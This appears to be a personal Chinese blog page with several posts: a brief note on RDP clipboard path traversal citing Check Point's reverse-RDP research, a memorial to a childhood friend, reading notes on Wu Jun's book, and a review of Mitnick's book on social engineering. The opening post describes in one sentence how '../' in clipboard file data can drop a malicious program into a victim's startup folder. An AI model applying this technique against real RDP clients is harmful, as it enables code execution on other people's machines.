参考:https://rastamouse.me/2018/06/rdpclip/


补充

后来在网上翻阅资料,发现有研究人员证实共享粘贴板可进行路径穿越,即我们可在fgd加入../(此处可借鉴winrar的poc,将恶意程序烤至目标启动文件夹(startup)当中)
当我们用mstsc登陆了一台服务器后,在该服务器上按下复制操作时,会产生一系列操作。这里我用脑图表示

脑图

原文给出了poc的视频,但是目前我还没有能力复现…
真是惭愧啊,一定要不断提升自己才行!。

参考:https://research.checkpoint.com/reverse-rdp-attack-code-execution-on-rdp-clients/

记没有再联系过的小胖

Posted on 2019-01-28 | In life

前一阵子在街上乱逛的时候突然想起小胖,初中时候的一个好朋友。就找菊花扯淡了一下,他说他也很久没和他联系了。

小胖是菊花的邻居兼小学朋友,初中的时候在教学楼的对面班上;那时我和菊花玩得比较好,也就通过他认识了小胖。

小胖很胖,按他的说法,他喝杯水都会长肉。而我又特别喜欢肥呼呼的手感,所以每次我见到他的时候,都特别特别的想揉他的脸(在我记忆里菊花应该经常揉),戳他的肚子和手臂。以至于我们班上的羊肥(大胖子)总认为我是在欺负他,还怂恿他和我打架,说我肯定打不过他(我特别瘦),不过小胖并没有要打我的意思。

初中的我们经常一起玩耍,也不记得是暑假还是周末,我们仨老是约出来乱逛,会去到别人的楼里探险,乱跑。

我记得我们还经常去学校打篮球,叫上菊花的另外两个邻居老牛和金刚(羡慕菊花有不少邻居玩伴)。大家打球都很菜,不过玩得也算开心,就是金刚偶尔会使出金刚臂打手,那力道可以把我的手给打红。
到现在为止,在我脑海里一直都记得的一个画面:那是一个下午,我和菊花和小胖躺在篮球场边上,小胖枕着自己的手臂,我枕着他的大腿,菊花枕着哪里我忘记了。那个下午应该没有躺太久,但是这个画面和感觉一直让我记得。那时候的我们还讨论了什么呢,想不起来。我们的话语都被记忆的风给吹走了,只记得那时候大家是笑着的。

我记得小胖很爱笑,在我能回想起来的画面里,他都是挂着笑脸的,不管是在打篮球,还是被我揉脸的时候。

初中毕业后,小胖搬家了,搬回了老家。然后我就再也没有与他联系过了。

今天,菊花发了一张截图给我看,是小胖去世的消息。前一刻我还在问假期怎么玩,瞬间我就石化了。

原来许久未联系的他,于2016年2月份便去往了天堂。呆滞了一会后,我就哭了起来。现在在写这遍文章的时候,也仍旧伤心哭泣。

我突然想起来初中后我们还在QQ上联系过,但是却怎么也想不起来我们聊了什么,去翻QQ也不知道哪个是他。

他是我曾经的好朋友。但是我当初却因为距离忘记了他。再回想起他时,我们却因为时间距离而永远无法再联系了。

懊恼,难过。

想回初中,和菊花还有小胖再去探险,当时我们只在金地那边转圈,想和他们去更多的地方探险,去园博园,去莲花山,去红树林。
想问小胖,他是不是以为我在欺负他,要告诉他我不是欺负他,还要告诉他我很喜欢他这个朋友,和他一起玩的时候都是很开心的。

小胖还是那个小胖,很坚强呢,即便在病床上,照片里也是笑着的。

好久都没有写过什么东西,感觉自己已经停止思考很久了似的,感情忘了怎么表达,就连语言都不会组织了。
又想起一段描述:拥有已经是很奢侈了,但人们总是对此不屑。直到失去了,才想要珍惜。
讨厌没有抓住拥有的我。


迟到的,
愿天堂没有疾病和痛苦。

re-见识

Posted on 2018-10-10 | In review

Pre:《见识》这本书是我大学毕业的时候师弟送给我的,之前吴军老师刚出这本书的时候就有注意到,但是却一直没买。前前后后大约是花费了一个月的时候来读这本书,读完后最先想到的是要感谢我的师弟(其实在读了几个篇章后就有这想法了),谢谢他让我没有错过这么好的一本书。

道理就像是一道家常菜,也许每个人都会炒家常菜,但有厨艺的人炒出来的味道肯定是比没有厨艺的人炒出来的要香得多。同样的道理由站在不同高度的人表达出来,它所能带来的感悟是不同的。而吴军老师就像是一个五星级的厨师,由他说出来的简单的道理,令人回味无穷。

虽然我清楚的明白光靠看一本书是无法改变一个人的思维模式和生活的,但是我还是很庆幸自己能在毕业后的第一年就读到《见识》这本书。我的思维方式没有因为它而彻底改变,但是它提供了思考的角度,同时也提醒我思考的重要性。想要写点感言什么的,可是在打开电脑后又发觉字穷,觉得还是笔动得太少了,就先把之前记录下来的觉得好的句子转移过来。推荐还是自己去体会一下这本书的魅力。


信命是知道自己有所不能,认命则是不超越命运给自己画的线,对于得不到的坦然接受。

命就是一个人看问题和做事情的方法。

以认怂的态度对待人生的一道又一道的坎,就会不断地被这个世界扇巴掌。

##幸福是目的,成功是手段

幸福感的本源只有两个:基因的遗传和影响力。

寒窗苦读只是一种读书态度。

任何社会都是分层次的。

很多逆袭者的误区在于,只看到自己的努力,而没有看到别人的努力。

绝大部分人的一生都是处在松懈状态,而达不到80%的努力。

看到自己的不足,去弥补;并把注意力放到最该关注的事情上。

对自己的投资和在职业上的进步很重要;婚姻投资也很重要。

配偶需合乎自己的特点,而且切合实际。

聪明人会欣赏聪明人,而且只有聪明人才会欣赏聪明人。

关系:夫妻优于子女,更优于双方的父母。

时代是向前发展的,教育中最可怕的事情是,用上一辈的思想教育这一辈的人如何去迎接20年后的未来。

人不可能一辈子不栽跟头,如果一定要栽跟头,早一点比晚一点好。

没有成功过的经历可能带来的是另一次失败,而不是成功。

代沟是一定存在的。

父母成熟,首先自己要不断地进步。

如果能让孩子从心里尊重父母,在行动上愿意和父母交流,那么比停留在形式上的孝顺有意义得多。

父母不成熟,做子女的也有责任。

孩子在某种程度上是放大了的自己。

我们对死亡的恐惧有点儿莫名其妙,我们站在“有”的世界,试图理解”无”的问题,按照”有”的逻辑,对“无”产生恐惧。

死亡是人对社会的最后一次贡献。

##人生需要做减法

作诗的性格,它只要意境、浪漫、唯美和理想,同时不失率真,它对世俗的美德会不屑一顾。为自己的理想甚至是幻想燃烧生命。

人有两个上帝赋予的特殊天赋是机器所无法取代的:一个是艺术的创造力和想象力,另一个是梦想和浪漫的情怀。

人生不仅要做人,也要作诗。

人一旦心志变得非常低,就很难提升自己、让自己走到越来越高的层次上。当一个人的心思放在捡芝麻上,他就永远失去了捡西瓜的可能性。糟糕的思维方式和衡量价值的标准,决定了人不幸的命运。

人生的秘诀在于做减法。

生也有涯,知也无涯。

跳出思维定式,换一个角度判断一件事情的重要性。

敢于舍弃。

生命有限,下决心少做事情,然后把几件该做的事情做好就行了。

人性有一个弱点,见到小便宜就想去占,很多利益舍不得放弃。

幸福来源的三个具体纬度:第一个维度是爱情和婚姻;第二个维度是对未来的期望,一个人如果能够确定明年比今年好,后年比明年好,他就有幸福感;第三个是对生活的态度。

今天科技进步的结果,应该是让更多的人能够过上优雅从容的生活,而不是让大家变得没有时间生活。

责任、荣誉、从容、优雅、镇定。

##谈谈见识

爱因斯坦与常人最大的不同的三个点:首先,他善于提出问题;其次,他善于做白日梦,就是脑子不受约束地胡思乱想各种情景,然后从中总结规律;最后,爱因斯坦是一个非常有恒心的人。

人生是马拉松,最后的赢家,不是一开始跑得最快的人,而是为数不多坚持跑下来的人。

聪明人不妨练就一颗永远摔不坏的强大心脏,有一颗强大的心脏,自己总是能够不断坚持地跑下去,即使跌倒,也能不断爬起来。

人一辈子总有走运的时候和不走运的时候,摆脱坏运气的关键是耐心,让时间成为我们的朋友。

任何经历只要善于利用都是财富,不善于利用都是浪费时间。

低调和朴实

活得诸事不顺的人都有三个共同的话题。首先是缺乏见识。没有见识,视野就被局限了。
其次,缺乏爱。缺乏爱的人难以大气,不大气的人做不成大事。
最后,比贫穷更可怕的是缺乏规矩。缺乏规矩会令人踩到别人的脚趾而不自知。

缺乏见识、缺乏爱、缺乏规矩,是比缺钱更可怕的事情。

很多时候,成败与否取决于见识的高低,而不是自己简单的努力;见识的高低,则取决于我们的环境。

很多人做的看似重要的事情,如果跳出自己认识的局限看,其实是可有可无的。

浩瀚宇宙,我们不过只是沧海之一栗。

阅读是一个永恒的话题,它不仅仅表示通过文字获得信息,而是一种生活的行为。

今天我们的阅读,很重要的是为了改变当下的生活方式。

未经审视的人生不值得度过,而审视人生则需要有闲暇。

不要去期望一本书就能够改变自己的人生态度、思维方式和行事方法。

终身学习,向死而生。

##大家智慧

150个人是你一生中在亲友方面能够投资的总额。成功的人其实在很大程度上是靠找到了志同道合的、对他帮助最大的人帮助他,而运气不好的人,可能是因为交了一群狐朋狗友。因此成功的交友是人一生最重要的投资。

为人做事要持重,要多动脑筋,不要毛毛躁躁。既要礼数有加,也要知道保持距离是朋友之间最好的交往方式。

一个表面上对所有朋友一视同仁的人,实际上是很难有至交的。

好的朋友是巨大的财富,而损友是巨大的负资产。

不要给损友第二次机会,永远不要来往。

一个好的产品要有牙刷的功能。大家养成了习惯,就离不开它了。并且产品的可靠性和稳定性非常重要。

一个好的品牌,每过一段时间就要给大家带来一个惊喜,提醒大家它的存在。即爆款。

从本质中寻找商业模式。将有用的内容传达给终端用户,且有用的内容也不一定是要自己的。

认同公司最终死掉这件事是常态,在这个前提下,再去考虑如何传承公司的基因和文化,而不是维持一个不死的公司。

第一,不要做自己不懂的事情;第二,永远不要做空股票;第三,永远不要用杠杆投资。

少犯错误比多几次成功更重要。

巴菲特的追求是少犯错误,而不是失去机会。

很多时侯,人和人的差距看似是在智商、情商和知识上,其实是在智慧上,而智慧的核心是对人性的理解。

对于大部分人来讲,最好的投资是自己的工作和事业,因为我们擅长于此。

故善者因之,其次利道之,其次教诲之,其次整齐之,最下着与之争。

以教育为例,最好的教育是让受教育者自己发挥特长和潜力。

天下熙熙,皆为利来;天下攘攘,皆为利往。人是为了自己经济利益而奋斗的。

看似微小甚至卑贱的生意,只要经营得好,做到极致,也能获得巨大的成功。

商业的核心业务很重要。

销售的本质是把钱收回来。

在中国的传统行业里,几乎没有不相互欠三角债的,因此把钱收回来的成本并不低。

把钱收回来是目的,把货卖出去只是手段。

很多人不顾家地去挣钱,讲的理由是为了家人的幸福,其实这种做法本身已经让家人不幸福了。

不要把目的和手段颠倒过来。

一个可持续的生意关键是要让顾客把买的东西用光,否则就很难让他们第二次、第三次购买。

在管理一个团队时,你给员工的奖励不能仅仅是一次充值的促销,然后让他们享受很多年,而是要想办法让他们消耗掉这种物质和精神上的奖励,能够继续轻装奋斗。

商品和服务要让消费者有面子。为了维护面子,大家做事情会比较体面。

创造一个市场,其实就是让潜在的消费者认可一种过去他没有意识到的价值。

和人相处的技巧在于,要让对方感觉对你有所需求。

如果我们能够顾及别人的面子,生意就能做好,事情就能做好;如果我们为别人提供价值,而不是一味地推销,我们的产品,甚至是我们自己,就会受到欢迎。

##拒绝伪工作者

效率的高低不取决于开始了多少工作,而在于完成了多少。很多我们看上去非做不可的事情,其实想通了并没有那么重要。

一个有经验的员工,应该善于找到最重要的工作,并且优先完成它们,这恰恰是所有新员工都欠缺的技能。

管理者要让员工站在“做什么事情能让公司最大获益”的高度去工作;要让员工明白,他们积极的工作,最大的收益方是自己。

员工的主动性很重要。

伪工作做得越多,个人进步越慢,甚至能力会倒退。

当我们静心来总结就会发现,其实我们常常把时间浪费在那些可做可不做的事情上。

当因为总也干不完的工作而焦虑时,试试重新梳理一遍手边的工作:主动地站在对公司业务帮助最大的角度,站在提升自己能力的角度,把那些最重要的工作照出来并完成它们。

如果智商低于120就很难成功,而高于这个值之后,智商的作用并不明显。勤能补拙并没有科学依据。

运气或者时代大环境对成功很重要,即生逢其时。

家庭和生活环境影响个人成长。

10000小时的四个误区:

1、简单重复:比如现在互联网比较热门,一些人学了一点点的编程技巧,也能挣到还不错的工资,于是就守着这点技能每天在低水平低重复。

2、习惯性失败:好高骛远,不注重学习,懒得总结教训;同时脸皮很薄,也不好意思请教。然而简单地重复失败是永远走不出失败的怪圈的。

3、林黛玉式的困境:在自己的世界里越精进,对外界就越排斥;一个概念内涵越宽,外延就会越窄。有两类科学家,一类是掌握了一个方法,研究什么都是一流的,他们越往后走路越宽,比如爱因斯坦;另一类是路越走越窄。

4、狗熊掰棒子:10000小时的努力需要一个积累的效应,第二次的努力要最大限度地复用第一次努力的结果,而不是每一次都从头开始。
即学习要有相关性、知识体系不是孤立的。

走出四个误区的三个方法:

1、确立“愿景-目标-道路”
花10000小时来提高专业水平,需要有一个非常明确的方向,这个方向就是愿景。
有了愿景就需要有阶段性目标;战略的核心就是设置阶段性目标。
为了实现目标就要有通向成功的路,这条道路可以分解成一系列可操作的步骤。
在一种技能稍微熟悉了之后,就可能需要做一件新的、有挑战的事情,以便达到下一个目标。

2、即使听到不中听的话,也要试着找出其中的合理之处。

换位思考
凡事要回过头来三思
即使对方真的是胡说八道,也要思考他为什么说,找出其中的合理性。
对此的做法是,每次遇到别人和我有不同意见时,就立即开启寻找对方合理性的开关,直到找到对方的合理性为止。

3、凡事做记录
做记录的好处除了能备忘,还能在记录的过程中又思考一遍。

OKR:谷歌的目标管理法
按季度来计划目标,格式可用思维导图或者详细表格。

消耗跟踪曲线:把目标的量确定,纵轴为完成度,横轴为时间,画一条直线作为参考线。

做事情就要把最后的1%给做好,走了九十九步就要走完最后的一步。

瑞士制造精神—-创造极致。

走完一百步的精神不仅体现在做东西、做事情上,还体现在交流和沟通上。

世界上,做得还算过得去的人与前1%相比,可能就差最后几步,但是最后收入水平、社会地位、发展机会差别却很大。

##职场的误区与破法

第一份工作不要太在乎工资,几乎没有人是靠第一份工作的工资发财。

第一份工作必须能够让你极快速度地成长,养成良好的职业习惯,在最短的时间里了解全行业,而且你也需要主动通过第一份工作尽可能地成长。

每个人都有自己的起点,自己和自己比,和与自己同条件的人比,重要的是每过几年要能够真正上一个台阶。

一旦在第一份工作中养成坏习惯,会影响自己一生的发展。

人和人的差距,能力和能力的差距,是数量级的差别。

工程师有五个级别。

第五级是合格的工程师,他要能够熟练应用工程的知识和技能解决问题,独立完成所分配的工作,而不需要他人的指导。
第四级的工程师就需要有领导能力和在工程上把大问题化解为小问题的能力。能最好地解决一个实际的大规模的问题。
第三级的工程师,本身必须是非常好的产品经理。一个有良好工程素养的人,如果心胸开阔,愿意接受各种意见和建议,经过努力可以做到这一步。
第二级工程师是能够做出先前没有的东西,世界因为他们多少有点儿不同。
第一级工程师是开创一个产业的人。

职场误区一:工作和职业分不清楚。

如果我们考虑当下的工作是为了一辈子的职业发展,首先就要有选择地做事情,但是将来对职业有利的事情,不论是否有报酬,也不管报酬是高还是低,都要做。反之,只是能够带来收入的提高,和职业发展没有必然联系甚至相矛盾的事情,尽可能不做或少做。
对待自己的职业,需要专业的工作态度。所谓专业,就是一切以工作目标的达成为中心。所有沟通、会议、关系的建立、工作的分配等,无一不是以此为主要目标。
在工作中要少受负面情绪,避免采用消极的手段来应付工作。

误区二:把自己仅仅当作一个单位的过客,而不是主人。

人一旦觉得自己是过客,常常就对很多该完成的工作视而不见,也懒的建立和维护与同事的关系;一旦有了过客心态就容易不求上进,对自己最大的害处是既浪费了宝贵的时间,又丧失了锻炼的机会。

误区三:被语言暴力后就乱了章法。

实施语言暴力的人当然不对,但是如果处理不好,受伤害的是你,而不是他们。这会打击你的自信心,引诱你偏离工作重心。

误区四:疏于沟通。

大部分时候,提前打招呼总是一个良好的、职业的做事方式。如果合作方有不同意见,可以通过协调和谈判解决。只要有利益可以分配,无非是设法确保各方利益就可以了。

破法:

1、任何时候为人都要谦卑,只有谦卑,才能更有效地沟通。一个既谦卑又能把事情分析得入木三分的人,最让人钦佩。

2、用正确的方法对待语言暴力和其他故意伤害。首先要反省一下自己;其次分清楚周围同事的立场;最后要搞清楚施暴者这么做的目的。

在沟通中保持对别人的尊重,但是在态度要坚决明确。
一个人要坚守自己的正确立场,不带个人色彩,聚焦事情本身来解决问题,同时凸显出大度和境界,这样不仅会带动团队整体的健康发展,而且这样的人自然而然地就会成为团队的支柱。

3、永远要明确,工作不是为了公司或者他人,而是为了自己的职业发展这个既定的大方向。

主动地多做事,多跟人打交道,去帮助他人,支持自己的团队和老板。我们在任何时候都应该想一想,当我们离开这个团队时留下了什么。

4、注重长期效益,把一件事放到两三年的时间周期来看待,这时我们对它的态度就会有所不同。

最有效的沟通是在第一时间直接给出答案,然后补充解释。

善于沟通的人会理解对方提问的目的,然后提供有用的信息,而不是按照自己的理解解释字面上的问题。

很多人觉得自己专业水平很高,工作也努力,却一直得不到提拔的原因,是因为缺乏大局观。

作为领导,如果不了解细节,整个部门就不可能有高效率。

基层的员工要抬头看,而管理者要弯下腰。

一个人的立意至关重要,目标设置错了,结果肯定好不到哪里去。

想用短期的方法达到长期的目标是不可能的。

有道是,求其上者得其中,求其中者得其下。一个人如果追求的层次本身就在中下,是不可能靠运气不断进步的。

自我的通识教育。人必须掌握一些专业之外的知识,只有这样,人的眼界才可以开阔,才能更好地和别人合作,才能调用更多的资源。

所有的智者都强调常识的重要性。

衡量一个专家水平最可靠的方法,就是看他们是将复杂的问题简单化,让每一个人都能理解,还是故作高深,将简单的问题复杂化。

没有常识做为基础,谈论科学和技术就是虚妄。

技术的另一个特点是,几乎每个人遵循一定的步骤都能够学习和掌握,但是艺术则要靠天赋。

凡事做到50分靠常识,从50分做到90分靠技术,从90分做到100分靠艺术。每一个阶段是不能跳跃的,做到90分我们通过努力都能达到,至于是否能做得更好,会因人而定,可遇不可求,所以不必有负担。

##商业的本质

商业的本质是让人多花钱而不是省钱。

我们常常容易随大溜。比如一谈到互联网时代就必然要谈在线,但是我们可能更需要独立思考,从事物的本质出发,找到那些随大溜的人忽视的机会。

看到新技术的态度要有自己的想法,有些时候,互联网是一个手段,而不是目的。

经营和管理的秘诀是不给选择。

对于同学聚会这种事情,几个核心同学商量一下,定一个时间,然后通知大家就可以了,不要给每个人选择的自由,因为永远不可能找到一个所有人都方便的时间。

不提供选择的一个直接的负面结果可能是永远得不到某些客户,或者在公司里无法让100%的员工满意。但这其实没有太大的关系,因为我们不是神,没有能力让所有人都满意。

一个好的产品设计者会想办法引导顾客,而不会去做迎合每一个顾客的事情。同样,一个好的管理者需要制定简单有效,同时还能让绝大多数员工满意的制度,并给予大部分人觉得有用的福利,但是没必要试图在每一件事情上取悦每一个员工。

适度的选择给我们自由,但是过多的选择会适得其反。

##理性的投资观

饭碗可以跟金钱分开。

超过自己的能力去挣钱,即使有所收获,各种成本也会太高,并不合算,也就是说,可能是挣了一元钱,但在其他方面损失了两元钱。

钱只有花出去才是自己的,当你有效花钱时,就等于有效地利用了社会资源,而利用了社会资源,就有可能获得更多的钱,这是一个良性循环,这是钱的意义才体现出来。

对于未来,很多人有不切实际的幻想,我小时候也总梦想有着特别好的未来,但是上大学以后就更看重今天了,因为未来有太多的不确定性。

用钱来提高今天的生活品质应该是生活的一个原则,这不仅是为了享受生活,更是因为未来是在今天的基础上发展起来的。

在追求任何好东西(无论是人、物质、还是精神层面的)之前,都要问问自己,他(它)们是让我的生活变得更好还是给我带来麻烦。

对于喜欢的东西,如果付出的代价是让生活质量变差,那就算了。

钱是挣出来的,不是省出来的;工作效率高了,挣钱效率也就高了。

我们必须掌握一些大部分人不会的技能,如果我们想清楚了钱是对资源的量化度量,越是稀缺的资源自然越值钱,那么当我们有了别人不会的技能时,我们就是稀缺资源。

因为失败的投资一旦发生,就能毁掉人的一生,甚至两代人的命运,因此做人做事永远要有风险意识,才能立于不败之地。

大部分人做事情前只会考虑收益,完全忽视风险,因此他们会简单地采用利益最大化的策略。

只考虑收益、不考虑风险的人,常常得不到最好的结果。

任何好的投资都要建立在控制风险的基础之上。

每个人或多或少地都应该学习一些投资的知识。

学习投资的另一个必要性是能够在生活中用一种理性的态度、量化的方法看待各种事情、处理各种事情。

投资之前要先搞清楚我们投资的目的是什么。

在牢记投资的目的的同时,我们要制定可行的目标。

风险低的投资,回报肯定不会高,但是风险高的,回报未必高。

流动性:将投资随时变现或者现金可以随时投资的便利性。

准入成本:投资人买卖股票要交手续费,这就是准入成本。

投资大师巴菲特一直在强调长期成功的投资,关键不在于是否把握了多少次机会,而在于是否能少犯错误。

投资的误区一:贵重金属是好的投资。

投资的误区二:专业人士理财一定好。

投资的误区三:在股市上花时间研究得越多,回报越高。

投资的误区四:只要有人买股票就会不断涨。

投资的误区五:哪怕我买的股票亏了钱,只要不卖就没有损失。

投资的误区六:一毛钱的股票很便宜。

投资的效果主要取决于资产的配置。

出于降低风险的考虑,不能永远持有单只股票。

应立足于通过投资获得长期复合增长的回报。

股指基金和债券是好的投资工具。

在股市低迷的时候,要有钱能够买入股票;在股市高涨的时候,要知道拿回多少利润。

要根据个人情况制定一个合适的目标。

第一:彻底忘掉那些不适合自己的投资工具。

第二:有能力买房就应该买房,但是首先要考虑的是房子的实用价值,而非它的投资价值。

第三:绝大部分人只要考虑那些交易成本极低的指数基金即可,不要瞎炒股。

第四:当投资工具只剩下股票和债券两种之后,资产配置的策略也一目了然了。首先要选择一个历史上表现比较好的指数基金投资。接下来选择一组好的债券,国库券。

第五:每个人应该根据自己的收入情况、对风险的承受力和用钱的时间,按比例将资产分配到股票和债券中。

第六:如果在股市投资上运气比较好,投资组合中股票这部分收益的比例会远远超过债券(和现金)的比例,(比如由7:3变成8:2)这时候需要拿回一部分股票的收益。
相反,当股市大跌时,恰恰不是该割肉的时候,应该是用现金或者债券兑换成现金买入股票,以便维持当初设定的股票在投资组合中的比例。(这种组合的微调每年来一次就够了)微调的目的:别人贪婪时我恐惧,别人恐惧时我贪婪。

##好好说话

通过讲话交流想法水平的高低在很大程度上决定了一个人能否成功。

讲话对于听众要有针对性的思考和调整。

不要试图在有限的时间里讲很多内容,能讲多少内容取决于听众的接受速度与专注程度。

作报告时,演讲要点一般不超过三条,超过三条大家根本记不住。

任何人讲话,都有责任保证信息按时、准确地送达对方、而对方确实明白了他的意思。

平时宁可少做点事情,让每件事情都产生应该产生的效果,也不要为了完成任务,不讲究效果而做一堆没有用的事情。

悟道的关键在于勤思考。

说服人的技巧是一辈子要学习的事情。

在说服人方面,事实比口才更重要。

不要去和他人争吵,而是要拿出不可辩驳的事实,以一种别人能够接受的方式去说服别人。

很多时候,宣传新思维的人比提出新思维的人作用更大。

如果一件好事得不到支持,更多的时候可能是我们把问题想得太简单了,而应对复杂情况的方法又不得当。

一个人的成功与否,不仅仅取决于他个人的能力,更要靠他调动资源的能力。
》
君子善假于物尔。

世界是瞬息变化的,只有一流的人才善于往好的方向改变。

风险投资的目的,是帮助一些没有财务能力的人,实现他们改变世界的理想。

如果很多人几乎同时看到了类似的问题、有相似的想法,这就是所谓的趋势。这种趋势,不是哪个专家先知先觉的结果,而是自下而上总结出来的。

re-反欺诈的艺术

Posted on 2018-09-10 | In review

人性是安全过程中最脆弱的一个环节。
社交工程攻击是对抗人性的攻击,特别是人性中的:信任、同情、热情、懒惰等(本人暂时能想到的)。


前前后后花了快一个月的时间将这本书给看完了。在每次阅读完一个故事情节后,我都会想,这都能成功?
但假如受害者换成我,我会上当吗?带着这个问题去幻想的时候,我发现在某些情节下,也许我真的会被欺骗。
因为我很可能在一些场景下(如工作繁忙中)无心去验证身份。

贯穿全书,所有的事例都说明了两个最基本的操作的重要性:身份验证和访问控制。
书中的例子对于今天来讲较为古老(但是如今还存在着大量的电信诈骗及电话诈骗),在公司中我们不大可能会信任一个未知来电者。
可是欺骗手段可以过时,但是欺骗的原理却不会变。作为一名第三方视角的读者,从书中收获的不是事例中的欺骗方法,而是该方法背后的核心思想。
比如第一章第1个案例,个人认为其本质是数据安全的机密性(机密代码管理不善)和身份验证的完备性(验证过程简单且不合理)遭到破坏。
再比如第九章逆向行骗,这一章节的本质问题或许应该是身份验证的规则出现了问题。

书中的这些本质性的原因放到今天也依然在起着作用。只是表现出来的形式发生了变化。
书中的最后部分对于如何防范社交工程攻击也给出了许多的建议,其中最重要的也许是将身份验证和访问控制流程化,要求每个员工都必须按流程来验证对方。
流程化的验证程序无疑能抵挡大多数的社交工程攻击,但是其过程设计及应用则需要反复斟酌和实践,以便得出比较高效的方式。因为人趋于懒,如果将验证程序设计得复杂了,那么员工可能会为了减少麻烦而忽视部分步骤。另外需要关注的是,在设计验证程序的时候,我们也应该去思考如何减少人性的影响(或者说人的参与度),自动化的验证方式是必不可少的。
以上,便是我从《反欺骗的艺术》一书中所收获的,我也从中窥知Kevin D. Mitnick确实是一名传奇黑客,他的黑客思维方式是独特的,是我本人要去学习的。


这是我第一次在成年后自觉下写的读书笔记/读后感,之前的我读完后就觉得自己已全盘吸收,但是等过了一阵子后又会忘记我收获了什么。现在的我需要作出改变,记录并分享我所收获的知识。

Kiwings

9 posts
3 categories
8 tags
RSS
© 2019 Kiwings
Powered by Hexo
|
Theme — NexT.Muse v6.0.6